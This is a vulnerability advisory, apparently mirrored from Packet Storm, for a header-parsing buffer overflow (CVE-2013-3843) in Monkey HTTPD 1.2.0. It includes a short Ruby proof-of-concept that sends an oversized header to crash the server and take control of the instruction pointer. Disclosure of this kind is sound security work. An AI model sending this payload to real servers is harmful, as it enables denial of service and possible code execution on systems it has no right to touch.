Lucene search
K

Monkey 1.2.0 Buffer Overflow

🗓️ 04 Jun 2013 00:00:00Reported by dougtkoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

Monkey HTTPD 1.2.0 Buffer Overflow DoS Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2013-3843
13 Jun 201414:55
attackerkb
Circl
CVE-2013-3843
29 May 201815:50
circl
Check Point Advisories
Monkey HTTPD Header Parsing Denial of Service (CVE-2013-3843)
1 Sep 201300:00
checkpoint_advisories
CVE
CVE-2013-3843
13 Jun 201414:00
cve
Cvelist
CVE-2013-3843
13 Jun 201414:00
cvelist
Tenable Nessus
GLSA-201309-17 : Monkey HTTP Daemon: Multiple vulnerabilities
26 Sep 201300:00
nessus
Gentoo Linux
Monkey HTTP Daemon: Multiple vulnerabilities
25 Sep 201300:00
gentoo
Metasploit
Monkey HTTPD Header Parsing Denial of Service (DoS)
13 Jun 201320:56
metasploit
NVD
CVE-2013-3843
13 Jun 201414:55
nvd
OpenVAS
Gentoo Security Advisory GLSA 201309-17
29 Sep 201500:00
openvas
Rows per page
`1. Title  
  
CVE-2013-3843 Monkey HTTPD 1.2.0 - Buffer Overflow DoS  
Vulnerability With Possible Arbitrary Code Execution  
  
2. Introduction  
  
Monkey is a lightweight and powerful web server for  
GNU/Linux.  
  
It has been designed to be very scalable with low memory  
and CPU consumption, the perfect solution for embedded  
devices. Made for ARM, x86 and x64.  
  
  
3. Abstract  
  
A specially crafted request sent to the Monkey HTTPD  
server triggers a buffer overflow which can be used to  
control the flow of execution.  
  
4. Report Timeline  
  
2013-05-29  
Discovered vulnerability via fuzzing  
2013-05-30  
Vendor Notification  
  
5. Status  
  
Published  
  
6. Affected Products  
  
Monkey HTTPD <= 1.2.0  
  
7. Exploitation Technique  
  
Remote  
  
8. Details  
  
Improper bounds checking while parsing headers allows  
for an attacker to craft a request that will trigger a  
buffer overflow during a call to memcpy() on line 268  
in the file, mk_request.c.  
  
9. Proof of Concept  
  
The vulnerability can be exploited by remote attacker  
without any special privileges. Under Ubuntu 13.04,  
an offset of 2511 lines up the instruction pointer  
with, 0x42424242.  
  
  
#!/usr/bin/env ruby  
  
require "socket"  
  
host = "localhost"  
port = 2001  
  
s = TCPSocket.open(host, port)  
  
buf = "GET / HTTP/1.1\r\n"  
buf << "Host: " + "\r\n"  
buf << "localhost\r\n"  
buf << "Bad: "  
buf << "A" * 2511  
buf << "B" * 4  
  
s.puts(buf)  
  
  
10. Solution  
  
There is currently no solution.  
  
11. Risk  
  
Risk should be considered high since it can be shown that  
the flow of execution can be controlled by an attacker.  
  
12. References  
  
http://bugs.monkey-project.com/ticket/182  
  
13. Credits  
  
Doug Prostko <dougtko[at]gmail[dot]com>  
Vulnerability discovery  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation